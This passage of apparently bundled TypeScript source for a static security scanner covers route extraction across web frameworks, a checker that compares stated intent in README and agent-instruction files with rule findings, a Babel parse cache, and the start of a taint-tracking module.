/^\\/api(\\/|$)|^\\/_|\\.(json|js|xml|txt|ico)$/;\nconst DYNAMIC_RE = /:[A-Za-z_]|\\[[^\\]]+\\]|<[^>]+>|\\$[A-Za-z_]|\\*/;\n\n/** Reads a dependency out of the nearest package.json we were given. */\nfunction hasDep(files: SourceFile[], name: string): boolean {\n const pkg = files.find(\n (f) => f.path === \"package.json\" || f.path.endsWith(\"/package.json\"),\n );\n if (!pkg) return false;\n try {\n const json = JSON.parse(pkg.content) as {\n dependencies?: Record<string, string>;\n devDependencies?: Record<string, string>;\n };\n return Boolean({ ...(json.dependencies ?? {}), ...(json.devDependencies ?? {}) }[name]);\n } catch {\n return false;\n }\n}\n\nfunction normalize(p: string): string {\n if (!p.startsWith(\"/\")) return \"\";\n if (p.length > 1 && p.endsWith(\"/\")) return p.replace(/\\/+$/, \"\");\n return p;\n}\n\n/**\n * Extract every route the given files declare.\n *\n * Pure: takes file contents, touches no filesystem, so it runs identically in\n * the CLI, the API and a test.\n */\nexport function extractRoutes(files: SourceFile[]): RouteTable {\n const routes = new Map<string, AppRoute>();\n const frameworks = new Set<RouteFramework>();\n\n const add = (\n raw: string,\n framework: RouteFramework,\n source: string,\n kindOverride?: \"page\" | \"api\",\n ): void => {\n const path = normalize(raw);\n if (!path || routes.has(path)) return;\n routes.set(path, {\n path,\n // The URL prefix is a fallback, not the authority. A Next `route.ts` is a\n // handler wherever it lives: /free-trust-page/claim/start/route.ts is an\n // endpoint, not a page, and calling it a page mislabels what an attacker\n // would actually hit.\n kind: kindOverride ?? (API_RE.test(path) ? \"api\" : \"page\"),\n dynamic: DYNAMIC_RE.test(path),\n framework,\n source,\n });\n frameworks.add(framework);\n };\n\n const isNext = hasDep(files, \"next\");\n const isExpress =\n hasDep(files, \"express\") || hasDep(files, \"hono\") || hasDep(files, \"koa\");\n const isTanstack =\n hasDep(files, \"@tanstack/react-router\") || hasDep(files, \"@tanstack/react-start\");\n\n // --- TanStack generates a manifest; prefer it over guessing at filenames ---\n // It lists each route twice: the internal id (\"/_authenticated/dashboard\")\n // and the real URL (\"/dashboard\"). A segment starting with `_` is a pathless\n // layout that never appears in a URL, so such a path is an id, not a route.\n if (isTanstack) {\n const gen = files.find((f) => f.path.endsWith(\"routeTree.gen.ts\"));\n if (gen) {\n for (const m of gen.content.matchAll(/'(\\/[A-Za-z0-9_\\-/$.]*)'/g)) {\n if (m[1].split(\"/\").some((seg) => seg.startsWith(\"_\"))) continue;\n add(m[1], \"tanstack-router\", gen.path);\n }\n }\n }\n\n for (const file of files) {\n const rel = file.path;\n\n if (isNext) {\n // One optional group covers both `app/page.tsx` and `app/x/y/page.tsx`,\n // at any nesting depth. Two separate patterns dropped \"/\".\n const page = rel.match(/(?:^|\\/)app\\/(?:(.*)\\/)?page\\.(tsx?|jsx?)$/);\n if (page) {\n const segs = (page[1] ?? \"\")\n .split(\"/\")\n .filter(Boolean)\n .filter((s) => !/^\\(.*\\)$/.test(s)); // (group) folders are not URL segments\n add(\"/\" + segs.join(\"/\"), \"next-app\", rel);\n }\n const handler = rel.match(/(?:^|\\/)app\\/(?:(.*)\\/)?route\\.(tsx?|jsx?)$/);\n if (handler) {\n const segs = (handler[1] ?? \"\")\n .split(\"/\")\n .filter(Boolean)\n .filter((s) => !/^\\(.*\\)$/.test(s));\n add(\"/\" + segs.join(\"/\"), \"next-app\", rel, \"api\");\n }\n const pages = rel.match(/(?:^|\\/)pages\\/(.+)\\.(tsx?|jsx?)$/);\n if (pages && !/^_/.test(pages[1].split(\"/\").pop() ?? \"\")) {\n const p = \"/\" + pages[1].replace(/\\/index$/, \"\").replace(/^index$/, \"\");\n add(p === \"/\" ? \"/\" : p, \"next-pages\", rel);\n }\n }\n\n if (!/\\.(tsx?|jsx?|mjs|cjs|py)$/.test(rel)) continue;\n const src = file.content;\n\n // --- React Router -------------------------------------------------------\n for (const m of src.matchAll(/<Route\\s[^>]*path\\s*=\\s*[\"'`]([^\"'`]+)[\"'`]/g)) {\n add(m[1].startsWith(\"/\") ? m[1] : \"/\" + m[1], \"react-router\", rel);\n }\n if (/createBrowserRouter|createHashRouter|useRoutes/.test(src)) {\n for (const m of src.matchAll(/path\\s*:\\s*[\"'`]([^\"'`]+)[\"'`]/g)) {\n add(m[1].startsWith(\"/\") ? m[1] : \"/\" + m[1], \"react-router\", rel);\n }\n }\n\n // --- Flask / FastAPI ----------------------------------------------------\n for (const m of src.matchAll(\n /@\\w+\\.(?:route|get|post|put|patch|delete)\\(\\s*[\"']([^\"']+)[\"']/g,\n )) {\n add(m[1], \"flask-fastapi\", rel);\n }\n for (const m of src.matchAll(/add_url_rule\\(\\s*[\"']([^\"']+)[\"']/g)) {\n add(m[1], \"flask-fastapi\", rel);\n }\n\n // --- Express ------------------------------------------------------------\n if (isExpress) {\n for (const m of src.matchAll(\n /\\b(?:app|router)\\.(?:get|post|put|patch|delete|all)\\(\\s*[\"'`]([^\"'`]+)[\"'`]/g,\n )) {\n add(m[1], \"express\", rel);\n }\n }\n }\n\n return {\n frameworks: [...frameworks],\n routes: [...routes.values()].sort((a, b) => a.path.localeCompare(b.path)),\n };\n}\n\n/**\n * The route a given file is reachable at, if any.\n *\n * Matches on the declaring file only. A helper imported BY a route handler is\n * reachable too, but proving that needs an import graph — claiming it from a\n * filename match would attach confident, wrong URLs to real findings, which is\n * the failure mode every gate above exists to prevent.\n */\nexport function routeForFile(table: RouteTable, filePath: string): AppRoute | undefined {\n const norm = filePath.replace(/^\\.\\//, \"\");\n return table.routes.find((r) => r.source === norm || r.source.endsWith(\"/\" + norm));\n}\n","/**\n * INTENT vs IMPLEMENTATION\n *\n * Every other scanner answers \"is there a known-bad pattern here\". This\n * answers a different question: \"does the code do what its author said it\n * would\". That question is normally unanswerable by a static tool, because\n * intent lives in someone's head.\n *\n * It does not live only in the head of a vibe-coder. They wrote it down —\n * in the prompt, in the README the generator produced, in CLAUDE.md, in\n * .cursor/rules. Their spec is on disk. Ours is the one scanner whose users\n * reliably have one, which is exactly why nobody else asks for it: a team\n * hand-writing code keeps the spec in a ticket, or nowhere.\n *\n * ── The honesty constraint that shapes the whole design ──────────────────\n *\n * A mismatch is only ever reported when it can point at a CONCRETE FINDING\n * the scanner already produced, with a file and a line. There is no \"your\n * app might not do this\" verdict, and there is no separate auth detector\n * living in this file.\n *\n * That second point matters more than it looks. The obvious implementation\n * is to re-detect auth here — and this repo has paid for that mistake\n * repeatedly: three copies of calculateGrade, two drifted copies of\n * NON_APP_PATH_PATTERNS, four hand-written copies of the free/Pro split. So\n * intent facts are DERIVED FROM THE RULE FINDINGS THEMSELVES. When VC003\n * learned handler-scoped auth and four new endpoint shapes, this got those\n * for free, and it cannot disagree with the scan sitting next to it.\n *\n * ── What it does NOT do ─────────────────────────────────────────────────\n *\n * Not dataflow, not cross-file policy analysis, not \"CodeQL-grade\" anything\n * — docs/ROADMAP.md rules those out and it is right to. This reads sentences,\n * matches them to endpoints by topic, and asks whether a finding already\n * contradicts the sentence. That is a join, not an analysis.\n */\n\nimport type { Finding } from \"./types.js\";\nimport { extractRoutes, type AppRoute } from \"./routes.js\";\nimport { isVendoredFinding } from \"./vendored.js\";\n\n// ─────────────────────────────────────────────────────────── intent sources\n\nexport type IntentOrigin = \"declared\" | \"prompt-history\" | \"agent-instructions\" | \"readme\";\n\nexport interface IntentStatement {\n /** The sentence, trimmed of markdown noise. */\n text: string;\n /** Repo-relative file it came from. */\n source: string;\n /** 1-based line. */\n line: number;\n origin: IntentOrigin;\n}\n\n/**\n * Files that state what the project is supposed to do, most authoritative\n * first. A `.xploitscan-intent` file is a deliberate declaration by the user\n * and outranks a README, which outranks instructions written for an agent.\n */\nconst INTENT_SOURCES: Array<{ test: RegExp; origin: IntentOrigin }> = [\n { test: /(^|\\/)\\.xploitscan-intent$/i, origin: \"declared\" },\n // The CLI's --intent flag, passed as a synthetic file so it travels the\n // same path as a real spec. Named for what it is, so a finding reports\n // '--intent says ...' rather than claiming a file exists that does not.\n { test: /^--intent$/, origin: \"declared\" },\n // The prompt itself, where a tool preserves it. This is the purest signal\n // there is — it is what the person actually asked for, before anything was\n // generated — and it is the reason this feature can work at all for people\n // who never wrote a README.\n { test: /(^|\\/)\\.specstory\\/history\\/[^/]+\\.md$/i, origin: \"prompt-history\" },\n { test: /(^|\\/)\\.bolt\\/prompt$/i, origin: \"prompt-history\" },\n { test: /(^|\\/)(CLAUDE|AGENTS)\\.md$/i, origin: \"agent-instructions\" },\n { test: /(^|\\/)\\.cursorrules$/i, origin: \"agent-instructions\" },\n { test: /(^|\\/)\\.windsurfrules$/i, origin: \"agent-instructions\" },\n { test: /(^|\\/)\\.cursor\\/rules\\/[^/]+\\.mdc$/i, origin: \"agent-instructions\" },\n // 148,992 public repositories carry this file — more than any source here\n // except .cursor/rules, and it is the same kind of document as CLAUDE.md.\n { test: /(^|\\/)\\.github\\/copilot-instructions\\.md$/i, origin: \"agent-instructions\" },\n { test: /(^|\\/)README(\\.md)?$/i, origin: \"readme\" },\n];\n\n/**\n * Pull the human's turns out of a saved AI chat transcript.\n *\n * SpecStory writes Cursor and Claude Code sessions to .specstory/history/ as\n * markdown, with each turn marked `_**User**_` / `_**Assistant**_`. Only the\n * user's turns are intent; the assistant's replies are generated text and\n * would let the model's own confident summary of what it built count as a\n * specification, which is precisely backwards.\n *\n * These transcripts are noisy — \"push this to my repo\", \"Invalid API key\" —\n * and that is fine. A statement only reaches a finding if it matches a claim\n * pattern AND a rule contradicts it; on a 19-repo sample, 99.65% of harvested\n * statements matched no claim at all. Noise is already the common case.\n */\nfunction extractUserTurns(content: string): Array<{ text: string; line: number }> {\n const out: Array<{ text: string; line: number }> = [];\n const lines = content.split(\"\\n\");\n let capturing = false;\n for (let i = 0; i < lines.length; i++) {\n const t = lines[i].trim();\n if (/^_\\*\\*User\\*\\*_/.test(t)) { capturing = true; continue; }\n if (/^_\\*\\*(Assistant|Agent|System)[^_]*_/.test(t) || t === \"---\") { capturing = false; continue; }\n if (capturing && t) out.push({ text: t, line: i + 1 });\n }\n return out;\n}\n\n/** Lines that are structure or code, never a claim about behaviour. */\nfunction isProse(line: string): boolean {\n const t = line.trim();\n if (t.length < 15 || t.length > 400) return false;\n if (/^[#>|`~\\-=*_+[\\]]{3,}/.test(t)) return false; // rules, fences, tables\n if (/^\\s*[|]/.test(t)) return false; // table row\n if (/^\\s*(import|export|const|let|var|function|class|return|if|for)\\b/.test(t)) return false;\n if (/^https?:\\/\\//.test(t)) return false;\n return /[a-z]{3}/i.test(t);\n}\n\n/** Strip list bullets, heading marks and inline code fences. */\nfunction clean(line: string): string {\n return line\n .replace(/^\\s*(?:[-*+]|\\d+\\.)\\s+/, \"\")\n .replace(/^#+\\s*/, \"\")\n .replace(/[*_`]/g, \"\")\n .trim();\n}\n\n/**\n * Pull candidate intent sentences out of whatever the project wrote down.\n *\n * Deliberately conservative: only files whose whole purpose is to say what\n * the thing does. Scanning every markdown file in docs/ would drown the\n * signal in changelogs and ADRs.\n */\nexport function harvestIntent(\n files: Array<{ path: string; content: string }>,\n): IntentStatement[] {\n const out: IntentStatement[] = [];\n for (const file of files) {\n const match = INTENT_SOURCES.find((s) => s.test.test(file.path));\n if (!match) continue;\n // A chat transcript is not prose to be read line by line — only the\n // human's turns count. Handled before the markdown walk below.\n if (match.origin === \"prompt-history\" && /\\.specstory\\//i.test(file.path)) {\n for (const turn of extractUserTurns(file.content)) {\n for (const sentence of turn.text.split(/(?<=[.!?])\\s+(?=[A-Z])/)) {\n const text = clean(sentence).trim();\n if (text.length >= 15) {\n out.push({ text, source: file.path, line: turn.line, origin: match.origin });\n }\n }\n }\n continue;\n }\n\n // A sentence the user typed AT US is never filtered for length or prose\n // shape. The harvester's minimum exists to keep README boilerplate out;\n // applying it to a direct answer means \"Find cheese\" is dropped before it\n // is even classified, and the user is told nothing at all. Short, odd or\n // fragmentary input should come back as \"I cannot check that\", not as\n // silence.\n if (match.origin === \"declared\") {\n for (const line of file.content.split(\"\\n\")) {\n const text = clean(line).trim();\n if (text && !text.startsWith(\"#\")) {\n out.push({ text, source: file.path, line: 1, origin: match.origin });\n }\n }\n continue;\n }\n\n let inFence = false;\n const lines = file.content.split(\"\\n\");\n for (let i = 0; i < lines.length; i++) {\n const raw = lines[i];\n if (/^\\s*(```|~~~)/.test(raw)) { inFence = !inFence; continue; }\n if (inFence) continue;\n if (!isProse(raw)) continue;\n // One sentence per statement — a paragraph making three claims should\n // be able to contradict on one of them without implicating the others.\n for (const sentence of clean(raw).split(/(?<=[.!?])\\s+(?=[A-Z])/)) {\n const text = sentence.trim();\n if (text.length >= 15) {\n out.push({ text, source: file.path, line: i + 1, origin: match.origin });\n }\n }\n }\n }\n return out;\n}\n\n// ────────────────────────────────────────────────────── expectation catalog\n\n/**\n * A property a sentence claims the code has, and the rule findings that\n * prove it does not.\n *\n * Every `contradictedBy` entry is an existing, fixture-backed rule. Nothing\n * here re-implements detection; this table is purely the join between \"what\n * was promised\" and \"what the scanner already found\".\n */\nexport interface IntentExpectation {\n id: string;\n /** Phrases that assert this property. */\n claims: RegExp;\n /** Plain-English restatement, shown to the user. */\n expectation: string;\n /** Rules whose presence disproves the claim. */\n contradictedBy: string[];\n /** Only applies to endpoints that change state. */\n writesOnly?: boolean;\n}\n\nexport const INTENT_EXPECTATIONS: IntentExpectation[] = [\n {\n id: \"owner-scoped\",\n claims: /\\b(only|just)\\b[^.]{0,40}\\b(their own|his own|her own|its own|the(ir)? own)\\b|\\bown (data|records?|orders?|posts?|files?|documents?|projects?)\\b|\\bcan(?:'|no)?t (?:see|access|view|read) (?:other|another)\\b/i,\n expectation: \"each user can only reach rows that belong to them\",\n contradictedBy: [\"VC158\"],\n },\n {\n id: \"requires-auth\",\n claims: /\\b(require|requires|required|must)\\b[^.]{0,40}\\b(log ?in|logged ?in|sign(ed)? ?in|authenticat\\w+|an account|be a user)\\b|\\b(only|restricted to)\\b[^.]{0,30}\\b(authenticated|logged.?in|signed.?in|registered)\\b|\\bbehind (a )?(login|auth)\\b/i,\n expectation: \"the endpoint rejects unauthenticated callers\",\n contradictedBy: [\"VC003\", \"VC064\", \"VC127\", \"VC210\"],\n },\n {\n id: \"admin-only\",\n // \"nobody else can\" is included because it is how people actually write\n // this. \"Admins can refund an order; nobody else can\" states a privilege\n // boundary as plainly as \"admin-only\" does, and the first draft of this\n // pattern missed it — caught by the sentence battery in intent.test.ts,\n // which is why that battery exists.\n claims: /\\b(admin|administrator|moderator|staff)s?[- ]?(only|can only)\\b|\\bonly\\b[^.]{0,25}\\b(admins?|administrators?|moderators?)\\b|\\brole[- ]based\\b|\\brequires? (?:the )?(?:admin|moderator) role\\b|\\b(?:nobody|no ?one) else (?:can|may|should|is able to)\\b/i,\n expectation: \"the privilege is decided by the server, not the browser\",\n contradictedBy: [\"VC010\", \"VC085\", \"VC213\", \"VC214\"],\n },\n {\n id: \"private-data\",\n claims: /\\b(private|confidential|not public|never public|internal only)\\b/i,\n expectation: \"the data is not reachable without authentication\",\n contradictedBy: [\"VC003\", \"VC085\"],\n },\n {\n id: \"verified-webhooks\",\n claims: /\\bwebhooks?\\b[^.]{0,60}\\b(verif\\w+|signed|signature|authenticat\\w+)\\b|\\bverif\\w+[^.]{0,30}\\bwebhooks?\\b/i,\n expectation: \"webhook payloads are signature-verified before use\",\n contradictedBy: [\"VC005\", \"VC209\"],\n },\n {\n id: \"rate-limited\",\n claims: /\\brate[- ]?limit\\w*\\b|\\bthrottl\\w+\\b|\\bprevents? (?:abuse|brute[- ]?force)\\b/i,\n expectation: \"the endpoint enforces a request cap\",\n contradictedBy: [\"VC008\", \"VC130\"],\n },\n];\n\n// ────────────────────────────────────────────────────────── topic matching\n\n/** Words too common to identify a subject area. */\nconst STOPWORDS = new Set([\n \"the\", \"a\", \"an\", \"and\", \"or\", \"but\", \"for\", \"with\", \"that\", \"this\", \"their\",\n \"them\", \"they\", \"from\", \"into\", \"only\", \"own\", \"can\", \"cannot\", \"must\", \"will\",\n \"should\", \"have\", \"has\", \"not\", \"all\", \"any\", \"each\", \"every\", \"user\", \"users\",\n \"app\", \"application\", \"page\", \"pages\", \"data\", \"code\", \"site\", \"web\", \"api\",\n \"our\", \"your\", \"you\", \"when\", \"where\", \"which\", \"what\", \"who\",\n \"are\", \"was\", \"were\", \"been\", \"being\", \"does\", \"doing\", \"done\", \"just\",\n \"other\", \"another\", \"public\", \"private\", \"access\", \"accessible\",\n]);\n\nfunction topics(text: string): Set<string> {\n const out = new Set<string>();\n for (const w of text.toLowerCase().match(/[a-z][a-z-]{2,}/g) ?? []) {\n if (STOPWORDS.has(w)) continue;\n out.add(w);\n // crude singularisation so \"orders\" matches an /api/order route\n if (w.endsWith(\"ies\") && w.length > 4) out.add(`${w.slice(0, -3)}y`);\n else if (w.endsWith(\"ses\") && w.length > 4) out.add(w.slice(0, -2));\n else if (w.endsWith(\"s\") && !w.endsWith(\"ss\") && w.length > 3) out.add(w.slice(0, -1));\n }\n return out;\n}\n\n/**\n * A sentence that names the ABSENCE of a security property is describing a\n * vulnerability, not claiming the property.\n *\n * This matters more here than it would elsewhere, because the documents we\n * read are frequently a security tool's own README. XploitScan's says\n * \"webhook handlers without signature verification\" as a feature bullet —\n * a list of what it CATCHES — and a naive read of that sentence turns it\n * into \"this project verifies webhook signatures\", which then contradicts\n * every unverified handler in the repo. That was the single false positive\n * in a 905-statement self-scan, and it is the shape to guard against: the\n * negator governs the property, rather than the attack.\n *\n * The distinction is deliberate and narrow. \"Users cannot view other\n * people's invoices\" and \"uploaded files are never public\" are ALSO\n * negations, but they negate what an attacker can do, which is exactly how\n * a real access-control claim is phrased. Those must survive.\n */\nconst ABSENCE = /\\b(?:without|missing|lacks?|lacking|absent|no|not?)\\b[\\w\\s,/-]{0,30}\\b(?:verification|verified|signature|auth(?:entication|orization)?|rate[- ]?limits?|rate[- ]?limiting|validation|checks?|guards?)\\b/i;\n\nfunction describesAbsence(text: string): boolean {\n return ABSENCE.test(text);\n}\n\n/**\n * Routes a sentence explicitly carves OUT of its own claim.\n *\n * Real claims are rarely unqualified. Both genuine claims found in a 19-repo\n * sample of Lovable-built projects carried an exception:\n * \"All API routes (except /api/health) require authentication.\"\n * \"All API requests (except login/register) require authentication...\"\n * Reading the first half and ignoring the second turns a correctly-documented\n * public health check into a contradiction. The claim is not that everything\n * is authenticated; it is that everything except those is.\n */\nconst EXCEPTION = /\\b(?:except|excepting|other than|apart from|besides|excluding)\\b\\s*:?\\s*\\(?([^).;]{2,80})/i;\n\nfunction exemptions(text: string): string[] {\n const m = text.match(EXCEPTION);\n if (!m) return [];\n return (m[1].match(/[/a-z][\\w/-]{2,}/gi) ?? [])\n .map((s) => s.toLowerCase().replace(/^\\//, \"\"))\n .filter((s) => s.length > 2 && ![\"and\", \"the\", \"for\", \"routes\", \"requests\", \"endpoints\"].includes(s));\n}\n\n/** \"all / every / any …\" makes a claim about the whole surface, not one topic. */\nfunction isGlobalClaim(text: string): boolean {\n return /\\b(all|every|any|each|no one|nobody|everything)\\b/i.test(text)\n || /\\ball (?:api )?(?:routes?|endpoints?|pages?)\\b/i.test(text);\n}\n\nfunction pathTokens(p: string): Set<string> {\n return new Set(\n (p.toLowerCase().match(/[a-z][a-z-]{2,}/g) ?? []).filter((t) => !STOPWORDS.has(t)),\n );\n}\n\n/**\n * Does this sentence make ANY claim the six expectations can test?\n *\n * Needed because \"no mismatch\" has two completely different meanings and we\n * were printing the same reassuring line for both:\n *\n * - the sentence made a checkable claim and no finding disputes it\n * - the sentence made no checkable claim at all\n *\n * A user typed \"Find cheese\" and was told \"nothing in this scan contradicts\n * that\". True, useless, and it makes the whole feature look broken. The\n * honest answer is \"I could not find a claim I know how to check, and here\n * is what I can check.\"\n */\nexport function classifyStatement(text: string): {\n checkable: boolean;\n matched: string[];\n} {\n if (describesAbsence(text)) return { checkable: false, matched: [] };\n const matched = INTENT_EXPECTATIONS.filter((e) => e.claims.test(text)).map((e) => e.id);\n return { checkable: matched.length > 0, matched };\n}\n\n/**\n * What the checker understands, in the words a user would type. Exported so\n * the CLI and the web show the SAME list — a user told \"I can check X\" by one\n * surface and something else by another has been lied to by one of them.\n */\nexport const CHECKABLE_CLAIMS: Array<{ id: string; label: string; example: string }> = [\n { id: \"owner-scoped\", label: \"who can see whose data\", example: \"Customers can only see their own orders.\" },\n { id: \"requires-auth\", label: \"what needs a login\", example: \"Every API route requires the user to be logged in.\" },\n { id: \"admin-only\", label: \"what is admin-only\", example: \"Only admins can delete a workspace.\" },\n { id: \"private-data\", label: \"what is private\", example: \"Uploaded files are never public.\" },\n { id: \"verified-webhooks\", label: \"which webhooks are verified\", example: \"Stripe webhooks are signature verified.\" },\n { id: \"rate-limited\", label: \"what is rate limited\", example: \"The public API is rate limited.\" },\n];\n\n// ─────────────────────────────────────────────────────────────── the check\n\nexport interface IntentMismatch {\n /** Stable id for the pairing, so the same mismatch dedupes across runs. */\n id: string;\n statement: IntentStatement;\n expectationId: string;\n /** What the sentence implies the code does. */\n expectation: string;\n /** The findings that say otherwise. Never empty. */\n evidence: Finding[];\n /** The route the evidence sits on, when one could be identified. */\n route?: AppRoute;\n /**\n * `topic` — the sentence named a subject and a finding landed on a file or\n * route matching it. `global` — the sentence quantified over everything\n * (\"all API routes\"), so any contradicting finding counts.\n */\n basis: \"topic\" | \"global\";\n message: string;\n}\n\nexport interface IntentReport {\n statements: IntentStatement[];\n mismatches: IntentMismatch[];\n /**\n * Statements that made no claim any expectation understands. Distinguishing\n * these from \"checked and clean\" is the difference between a useful answer\n * and a reassuring non-answer.\n */\n uncheckable: IntentStatement[];\n /** Sources that were read, so a user can tell whether we found their spec. */\n sources: string[];\n /**\n * Expectations that matched a sentence and found NO contradiction. This is\n * the honest other half: \"you said X and nothing in the scan disputes it\"\n * is a weaker claim than \"X is true\", and is labelled that way.\n */\n unchallenged: Array<{ statement: IntentStatement; expectation: string }>;\n}\n\n/**\n * Join stated intent against findings the scanner already produced.\n *\n * `findings` must come from the same scan of the same files — this function\n * never re-scans, by design.\n */\nexport function checkIntent(\n files: Array<{ path: string; content: string }>,\n findings: Finding[],\n): IntentReport {\n const statements = harvestIntent(files);\n const sources = [...new Set(statements.map((s) => s.source))];\n const routes = extractRoutes(files).routes;\n const mismatches: IntentMismatch[] = [];\n const unchallenged: IntentReport[\"unchallenged\"] = [];\n const uncheckable: IntentStatement[] = [];\n\n const byRule = new Map<string, Finding[]>();\n for (const f of findings) {\n const list = byRule.get(f.rule);\n if (list) list.push(f);\n else byRule.set(f.rule, [f]);\n }\n\n const seen = new Set<string>();\n\n for (const statement of statements) {\n const global = isGlobalClaim(statement.text);\n const subject = topics(statement.text);\n\n // A sentence listing what a scanner FINDS is not a promise about this\n // codebase. See describesAbsence().\n if (describesAbsence(statement.text)) continue;\n\n // Record sentences we understood nothing in, so a caller can say so\n // rather than implying the code was checked against them.\n if (!classifyStatement(statement.text).checkable) {\n uncheckable.push(statement);\n continue;\n }\n\n for (const exp of INTENT_EXPECTATIONS) {\n if (!exp.claims.test(statement.text)) continue;\n\n const candidates = exp.contradictedBy.flatMap((r) => byRule.get(r) ?? []);\n if (candidates.length === 0) {\n unchallenged.push({ statement, expectation: exp.expectation });\n continue;\n }\n\n // A finding contradicts this sentence only if the sentence is about it.\n // Without this the first README line saying \"users must log in\" would\n // indict every public marketing route in the project.\n const exempt = exemptions(statement.text);\n\n const relevant = candidates.filter((f) => {\n // Evidence has to be about code the project actually wrote. A finding\n // in vendored, generated or example code does not count toward the\n // grade, so it cannot be used to contradict the README either — this\n // is the same classifier calculateGrade already holds out of scoring.\n // Without it, an example app bundled under .agent/skills/.../examples/\n // was cited as proof that a repo's real API was unauthenticated.\n if (isVendoredFinding(f)) return false;\n\n // Honour the sentence's own carve-outs.\n if (exempt.length) {\n const hay = `${f.file} ${routes.find((r) => r.source === f.file)?.path ?? \"\"}`.toLowerCase();\n if (exempt.some((e) => hay.includes(e))) return false;\n }\n\n if (global) return true;\n const fileTokens = pathTokens(f.file);\n const route = routes.find((r) => r.source === f.file);\n const routeTokens = route ? pathTokens(route.path) : new Set<string>();\n for (const t of subject) {\n if (fileTokens.has(t) || routeTokens.has(t)) return true;\n }\n return false;\n });\n\n if (relevant.length === 0) {\n unchallenged.push({ statement, expectation: exp.expectation });\n continue;\n }\n\n const route = routes.find((r) => r.source === relevant[0].file);\n const id = `INTENT-${exp.id}-${statement.source}:${statement.line}-${relevant[0].file}:${relevant[0].line}`;\n if (seen.has(id)) continue;\n seen.add(id);\n\n const where = route ? `${route.path} (${relevant[0].file}:${relevant[0].line})`\n : `${relevant[0].file}:${relevant[0].line}`;\n mismatches.push({\n id,\n statement,\n expectationId: exp.id,\n expectation: exp.expectation,\n evidence: relevant.slice(0, 5),\n route,\n basis: global ? \"global\" : \"topic\",\n message:\n `${statement.source}:${statement.line} says \"${statement.text}\" — ` +\n `so ${exp.expectation}. ${where} does not: ${relevant[0].title}.`,\n });\n }\n }\n\n return { statements, mismatches, sources, unchallenged, uncheckable };\n}\n","/**\n * Centralized Babel parser with per-file caching.\n *\n * Rules that opt in to AST analysis call parseFile(content, filename) to get\n * a Program node back. Parsing is expensive (~5-50ms per KB of source); the\n * LRU cache ensures a single scan pass touches each file at most once even\n * when multiple rules walk the same AST.\n *\n * Failure mode: returns null on parse errors. Callers fall back to regex-only\n * behavior so a syntax-error file in the user's repo can never break a scan.\n */\nimport { parse, type ParseResult } from \"@babel/parser\";\nimport type { File } from \"@babel/types\";\n\nexport interface ParsedFile {\n ast: ParseResult<File>;\n language: \"js\" | \"ts\" | \"jsx\" | \"tsx\";\n}\n\n// Bounded LRU so a 10k-file repo scan doesn't blow memory. Most scans\n// finish well under this cap.\nconst MAX_CACHE = 256;\nconst cache = new Map<string, ParsedFile | null>();\n\nfunction cacheKey(filename: string, contentHash: number): string {\n return `${filename}:${contentHash}`;\n}\n\n// Cheap content hash — collisions would cause a stale AST on the rare case\n// two identically-named files have distinct content during the same scan.\n// We add length + first/last byte to make that almost impossible in practice.\nfunction quickHash(s: string): number {\n let h = 5381;\n const step = Math.max(1, Math.floor(s.length / 32));\n for (let i = 0; i < s.length; i += step) {\n h = ((h << 5) + h + s.charCodeAt(i)) | 0;\n }\n return (h * 31 + s.length) | 0;\n}\n\nfunction pickLanguage(filename: string): ParsedFile[\"language\"] | null {\n if (/\\.tsx$/i.test(filename)) return \"tsx\";\n if (/\\.jsx$/i.test(filename)) return \"jsx\";\n if (/\\.(ts|cts|mts)$/i.test(filename)) return \"ts\";\n if (/\\.(js|cjs|mjs)$/i.test(filename)) return \"js\";\n return null;\n}\n\n/**\n * Parse a JS/TS file. Returns null for unsupported extensions, parse errors,\n * or empty content. Callers MUST handle null and fall back to regex-only.\n */\nexport function parseFile(content: string, filename: string): ParsedFile | null {\n const lang = pickLanguage(filename);\n if (!lang) return null;\n if (!content || content.length === 0) return null;\n\n const key = cacheKey(filename, quickHash(content));\n if (cache.has(key)) return cache.get(key) ?? null;\n\n const plugins: Array<string | [string, unknown]> = [];\n if (lang === \"ts\" || lang === \"tsx\") plugins.push(\"typescript\");\n if (lang === \"jsx\" || lang === \"tsx\") plugins.push(\"jsx\");\n plugins.push(\"decorators-legacy\", \"classProperties\", \"dynamicImport\", \"topLevelAwait\");\n\n let ast: ParseResult<File> | null = null;\n try {\n ast = parse(content, {\n sourceType: \"unambiguous\",\n allowImportExportEverywhere: true,\n allowReturnOutsideFunction: true,\n allowAwaitOutsideFunction: true,\n allowUndeclaredExports: true,\n errorRecovery: true,\n plugins: plugins as never,\n });\n } catch {\n // Parse error — treat as unparseable. Regex rules will still fire.\n cache.set(key, null);\n if (cache.size > MAX_CACHE) {\n const firstKey = cache.keys().next().value;\n if (firstKey !== undefined) cache.delete(firstKey);\n }\n return null;\n }\n\n const entry: ParsedFile = { ast, language: lang };\n cache.set(key, entry);\n if (cache.size > MAX_CACHE) {\n const firstKey = cache.keys().next().value;\n if (firstKey !== undefined) cache.delete(firstKey);\n }\n return entry;\n}\n\n/** Exported for tests only. Drops the AST cache between test runs. */\nexport function _resetParseCache(): void {\n cache.clear();\n}\n","/**\n * Lightweight taint tracking for AST-based rules.\n *\n * \"Tainted\" means \"derived from untrusted input\" — an Express/Next request\n * body, query string, params, or headers; process.argv; environment\n * variables known to be user-controlled; or file contents read at runtime.\n *\n * This is deliberately a local-only analysis: we walk the AST of one file,\n * track which identifiers bind to a tainted source, and propagate through\n * direct assignments and destructuring. Cross-function and cross-file flow\n * is out of scope for Phase A — those require a module graph we don't build\n * yet. A conservative local analysis is still enough to flip the benchmark\n * recall on the data-flow rules.\n *\n * The analysis returns a TaintMap the rules can query:\n * isTainted(node) → \"is this AST expression tainted?\"\n * isTaintedIdent(name) → \"is this identifier currently bound to tainted\n * data in the file-level scope?\"\n *\n * Shape of recognized sources:\n * req.body, req.query, req.params, req.headers, req.cookies\n * request.body, request.query, ... (Fastify)\n * ctx.request.body, ctx.query (Koa)\n * process.argv, process.env[Keys known to be user-controllable]\n * event.queryStringParameters, event.body (AWS Lambda / API Gateway)\n * searchParams.get(...), url.searchParams (Next.js / Web fetch API)\n */\nimport type { Node, CallExpression } from \"@babel/types\";\nimport type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { ParsedFile } from \"./parse.js\";\n\n// @babel/traverse ships CJS-default; the ESM interop gives us an object with\n// a default property in some bundlers.\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/** User-controlled property paths on Express/Fastify/Koa/Lambda request objects. */\nconst 